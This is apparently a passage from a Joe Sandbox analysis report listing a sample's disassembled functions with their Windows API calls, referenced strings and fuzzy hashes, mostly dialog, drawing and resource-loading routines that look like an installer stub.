Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
LoadIconW.USER32(00000000), ref: 00408EA2
GetSystemMetrics.USER32(00000032), ref: 00408EB6
GetSystemMetrics.USER32(00000031), ref: 00408EBB
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
LoadImageW.USER32(00000000), ref: 00408EC7
SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
GetDlgItem.USER32(?,000004B2), ref: 00408F0C
GetDlgItem.USER32(?,000004B2), ref: 00408F16
GetWindowLongW.USER32(?,000000F0), ref: 00408F22
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
GetDlgItem.USER32(?,000004B5), ref: 00408F3F
GetDlgItem.USER32(?,000004B5), ref: 00408F4D
GetWindowLongW.USER32(?,000000F0), ref: 00408F59
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68
GetWindow.USER32(?,00000005), ref: 0040904E
GetWindow.USER32(?,00000005), ref: 0040906A
GetWindow.USER32(?,00000005), ref: 00409082
GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,000004B2,?,000004B7,?,?,?,?,?,00409240), ref: 004090E2
LoadIconW.USER32(00000000), ref: 004090E9
GetDlgItem.USER32(?,000004B1), ref: 00409108
SendMessageW.USER32(00000000), ref: 0040910B

Part of subcall function 00408270: GetDlgItem.USER32(?,?), ref: 0040827A
Part of subcall function 00408270: GetWindowTextLengthW.USER32(00000000), ref: 00408281

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: Window$Item$Long$HandleLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
String ID:
API String ID: 3694754696-0
Opcode ID: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction ID: 99f397414dc97442f2ad5b2e660166812613d2f2543b201c56f9d92a48738ce2
Opcode Fuzzy Hash: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction Fuzzy Hash: B971E6703047056BEA216B21DD4AF2B3659EF84714F10443EF652BA2E3CFBDAC018A5E

Function 004021A8 Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 004021B4
GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
GetObjectW.GDI32(?,00000018,?), ref: 00402208
MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
CreateCompatibleDC.GDI32(?), ref: 0040222B
CreateCompatibleDC.GDI32(?), ref: 00402232
SelectObject.GDI32(00000000,?), ref: 00402240
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
SelectObject.GDI32(00000000,00000000), ref: 00402256
SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
SelectObject.GDI32(00000000,?), ref: 00402293
SelectObject.GDI32(00000000,?), ref: 00402299
DeleteDC.GDI32(00000000), ref: 004022A2
DeleteDC.GDI32(00000000), ref: 004022A5
ReleaseDC.USER32(00000000,?), ref: 004022AC
ReleaseDC.USER32(00000000,?), ref: 004022BB
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 004022C8

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction ID: 3b0073103a1e3377af01ca77c53c0656b208625dbf3d379900f4631a354f9c66
Opcode Fuzzy Hash: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction Fuzzy Hash: DB314A76D01208BFDF115FE19D48EEF7F79EB48760F108066FA04B61A0C6794A60EB66

Function 004022D3 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 004022E5
lstrcmpiA.KERNEL32(?,STATIC), ref: 004022FC
GetWindowLongW.USER32(?,000000F0), ref: 0040230F
GetMenu.USER32(?), ref: 00402324

Part of subcall function 004020BF: GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
Part of subcall function 004020BF: SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
Part of subcall function 004020BF: LoadResource.KERNEL32(00000000,00000000), ref: 00402116
Part of subcall function 004020BF: LockResource.KERNEL32(00000000), ref: 00402121

GlobalAlloc.KERNEL32(00000040,00000010), ref: 00402356
memcpy.MSVCRT ref: 00402363
CoInitialize.OLE32(00000000), ref: 0040236C
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00402378
OleLoadPicture.OLEAUT32(?,00000000,00000000,0041C434,?), ref: 0040239D
GlobalFree.KERNEL32(00000000), ref: 004023AD

Part of subcall function 004021A8: GetWindowDC.USER32(00000000), ref: 004021B4
Part of subcall function 004021A8: GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
Part of subcall function 004021A8: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
Part of subcall function 004021A8: GetObjectW.GDI32(?,00000018,?), ref: 00402208
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 0040222B
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 00402232
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402240
Part of subcall function 004021A8: CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
Part of subcall function 004021A8: SelectObject.GDI32(00000000,00000000), ref: 00402256
Part of subcall function 004021A8: SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
Part of subcall function 004021A8: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
Part of subcall function 004021A8: GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402293
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402299
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A2
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A5
Part of subcall function 004021A8: ReleaseDC.USER32(00000000,?), ref: 004022AC

GetObjectW.GDI32(00000000,00000018,?), ref: 004023DF
SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 004023F3
SendMessageW.USER32(00000010,00000172,00000000,?), ref: 00402405
GlobalFree.KERNEL32(00000000), ref: 0040241A

Strings

IMAGES, xrefs: 0040232E
STATIC, xrefs: 004022F3

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction ID: 12319829fe5b29bb351e3d23e86017266b1b8e93f03e65421de7465a1357d20e
Opcode Fuzzy Hash: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction Fuzzy Hash: 54419A31901218BFCB129FA1CC4CDEEBFB9FF09715B008076F905A62A0D7798A51DB69

Function 00407A58 Relevance: 24.3, APIs: 16, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 00407A80
GetWindowLongW.USER32(00000000,000000F0), ref: 00407A85
GetDlgItem.USER32(?,000004B4), ref: 00407ABC
GetWindowLongW.USER32(00000000,000000F0), ref: 00407AC1
GetSystemMetrics.USER32(00000010), ref: 00407B43
GetSystemMetrics.USER32(00000011), ref: 00407B49
GetSystemMetrics.USER32(00000008), ref: 00407B50
GetSystemMetrics.USER32(00000007), ref: 00407B57
GetParent.USER32(?), ref: 00407B7B
GetClientRect.USER32(00000000,?), ref: 00407B8D
ClientToScreen.USER32(?,?), ref: 00407BA0
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 00407C06
GetClientRect.USER32(?,?), ref: 00407CA0

Part of subcall function 00407A29: GetDlgItem.USER32(?,?), ref: 00407A47
Part of subcall function 00407A29: SetWindowPos.USER32(00000000), ref: 00407A4E

ClientToScreen.USER32(?,?), ref: 00407BA9

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetSystemMetrics.USER32(00000008), ref: 00407D25
GetSystemMetrics.USER32(00000007), ref: 00407D2C

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
String ID:
API String ID: 747815384-0
Opcode ID: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction ID: 68cc850d19f91a6f8b6e213b01393e3a0b6efc74fec8c50de4b66a5980513343
Opcode Fuzzy Hash: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction Fuzzy Hash: 30A13870E04209AFDB14DFBDCD85AAEBBF9EF48704F14452AE605F2281D678F9018B65

Function 004036F6 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040377F
??3@YAXPAX@Z.MSVCRT ref: 00403787
??3@YAXPAX@Z.MSVCRT ref: 004039AD

Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT ref: 00402996
Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT ref: 0040299D

??3@YAXPAX@Z.MSVCRT ref: 004039DA

Strings

{\rtf, xrefs: 0040387A, 0040388F
SetEnvironment, xrefs: 00403909

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@
String ID: SetEnvironment${\rtf
API String ID: 613200358-318139784
Opcode ID: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction ID: 401acfcb82d7e6738f93d8480f5cee0d093a2887585a601c22b507f4e5910529
Opcode Fuzzy Hash: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction Fuzzy Hash: B991C372900108ABDF11AFD5D941AEEBBB8AF14309F2480BBE841772D2D7785B06DB59

Function 0041945F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0041948C
__p__fmode.MSVCRT ref: 004194A1
__p__commode.MSVCRT ref: 004194AF
__setusermatherr.MSVCRT ref: 004194DB
_initterm.MSVCRT ref: 004194F1
__getmainargs.MSVCRT ref: 00419514
_initterm.MSVCRT ref: 00419524
GetStartupInfoA.KERNEL32(?), ref: 00419563
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00419587
exit.MSVCRT ref: 00419597
_XcptFilter.MSVCRT ref: 004195A9

Strings

pA, xrefs: 0041950C, 0041950F

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: pA
API String ID: 801014965-794713698
Opcode ID: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction ID: 5929b0b6314edc43fbf3f3d2a0fc95e577a76ca797df3ab901b2fe2a182a5e0d
Opcode Fuzzy Hash: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction Fuzzy Hash: 1141ADB2D41344BFDB22CFA5DC55AEABBB9FB09710F20012BE841A3291D7785D81CB59

Function 00407F86 Relevance: 16.6, APIs: 11, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00407F94
GetWindowLongW.USER32(00000000), ref: 00407F9B
DefWindowProcW.USER32(?,?,?,?), ref: 00407FB1
CallWindowProcW.USER32(?,?,?,?,?), ref: 00407FCE
GetSystemMetrics.USER32(00000031), ref: 00407FE0
GetSystemMetrics.USER32(00000032), ref: 00407FE7
GetWindowDC.USER32(?), ref: 00407FF9
GetWindowRect.USER32(?,?), ref: 00408006
DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 0040803A
ReleaseDC.USER32(?,00000000), ref: 00408042

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction ID: 8ffa6a621c4839b38abe7fa2179ce9be6ee40ef55f84cce8d9fec75f1bbbc175
Opcode Fuzzy Hash: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction Fuzzy Hash: 8D214F7650021ABFCB019FB8DD48EEF3B69FB08351F004525FA11E2291CB35D920CB65

Function 00409466 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004091A7: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
Part of subcall function 004091A7: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
Part of subcall function 004091A7: GetDlgItem.USER32(?,000004B7), ref: 00409222
Part of subcall function 004091A7: SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetDlgItem.USER32(?,000004B6), ref: 004094A8
DestroyWindow.USER32(00000000), ref: 004094AB
CreateWindowExA.USER32(00000200,Edit,0041A840,500100A0,?,?,?,?,?,000004B6,00000000,00000000), ref: 004094E1
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 004094F1
GetDlgItem.USER32(?,000004B6), ref: 004094FE
SendMessageW.USER32(00000000,00000030,?,00000001), ref: 00409508
GetDlgItem.USER32(?,000004B6), ref: 00409512
SetFocus.USER32(00000000), ref: 00409515

Strings

Edit, xrefs: 004094D7

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystem
String ID: Edit
API String ID: 2563414232-554135844
Opcode ID: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction ID: 4d71b540c7600c41684bbba3335aa98688d5166c257b7e93b864b054f1ea387c
Opcode Fuzzy Hash: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction Fuzzy Hash: DA116A71A00204BFEB11ABE5DD49FAFBBBCEF48B00F104429B201F61A1C675AD50876D

Function 00403E98 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 00403EDF

Part of subcall function 00402D03: ??3@YAXPAX@Z.MSVCRT ref: 00402D76

??3@YAXPAX@Z.MSVCRT ref: 00403F05
wsprintfA.USER32 ref: 00403F27
wsprintfA.USER32 ref: 00403F54

Strings

;!@InstallEnd@!, xrefs: 00403EB3
:Language:%u, xrefs: 00403F4E
:%hs, xrefs: 00403F21
;!@Install@!UTF-8!, xrefs: 00403EA4

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$wsprintf
String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 2704270482-695273242
Opcode ID: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction ID: 886d926ed7ba0351d4e9ba57da7cb0629939e873fb03075975f52044c447bd08
Opcode Fuzzy Hash: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction Fuzzy Hash: 15218F71A005187BDB05EAA59C86EFE73ADAB48704F14402EF504E31D1CB7DAA068799

Function 0040778B Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 0040779F
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077B2
GetDlgItem.USER32(?,000004B4), ref: 004077BC
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077C4
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 004077D4
GetDlgItem.USER32(?,?), ref: 004077DD
SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 004077E5
GetDlgItem.USER32(?,?), ref: 004077EE
SetFocus.USER32(00000000,?,?,00000000,00408726,000004B3,00000000,?,000004B3), ref: 004077F1

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ItemMessageSend$Focus
String ID:
API String ID: 3946207451-0
Opcode ID: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction ID: d34367ada3e0903658dac9af1ca1aef10e4e5856eabac84c2cebdb26553fe681
Opcode Fuzzy Hash: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction Fuzzy Hash: A4F04F712403087BEA216B61DD86F9BBB5EDF80B54F018425F354661F0CBF7AC209A29

Function 00407E01 Relevance: 12.1, APIs: 8, Instructions: 69COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00407E20
SystemParametersInfoW.USER32(00000029,00000000,?,00000000), ref: 00407E3F
GetDC.USER32(00000000), ref: 00407E4A
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00407E56
MulDiv.KERNEL32(?,00000048,00000000), ref: 00407E65
ReleaseDC.USER32(00000000,?), ref: 00407E73
GetModuleHandleW.KERNEL32(00000000), ref: 00407E9B
DialogBoxIndirectParamW.USER32(00000000,?,?,Function_00007643), ref: 00407ED0

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystemmemcpy
String ID:
API String ID: 2693764856-0
Opcode ID: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction ID: 8154b001b0011d5121478cb58b91efa441906eea3886e432abe560883a3f5ac4
Opcode Fuzzy Hash: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction Fuzzy Hash: 8421C375941318BFD7215BA1DD48EEB7B7CFF04301F0040B6FA09A2291D7744E948B6A

Function 0040796F Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0040797F
GetSystemMetrics.USER32(0000000B), ref: 0040799B
GetSystemMetrics.USER32(0000003D), ref: 004079A4
GetSystemMetrics.USER32(0000003E), ref: 004079AC
SelectObject.GDI32(?,?), ref: 004079C9
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004079E4
SelectObject.GDI32(?,?), ref: 00407A0A
ReleaseDC.USER32(?,?), ref: 00407A19

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction ID: 872bb3bd96abf1d963658246664a9f9dec04eac668a7313924c28ae5c7f0044f
Opcode Fuzzy Hash: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction Fuzzy Hash: FF216871901209AFCB01CF69DD44A9EBFF4FF08360F10C46AE519A72A0D335AA50DF41

Function 00408921 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040895B
GetDlgItem.USER32(?,000004B8), ref: 00408979
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0040898B
wsprintfW.USER32 ref: 004089A9
??3@YAXPAX@Z.MSVCRT ref: 00408A41

Strings

%d%%, xrefs: 004089A3

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID: %d%%
API String ID: 3753976982-1518462796
Opcode ID: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction ID: dc12f65f6354bcef20b20b64e73197b6a82627a21fa16bd919092f53849079ab
Opcode Fuzzy Hash: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
